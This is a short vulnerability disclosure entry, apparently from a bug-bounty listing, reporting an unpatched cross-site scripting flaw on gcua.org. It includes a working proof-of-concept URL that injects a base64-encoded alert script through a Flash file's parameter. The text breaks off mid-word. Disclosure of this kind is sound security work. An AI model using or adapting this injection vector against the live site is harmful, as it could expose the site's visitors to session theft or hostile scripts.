gcua.org XSS vulnerability

Vulnerable URL: https://gcua.org/HPAL/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...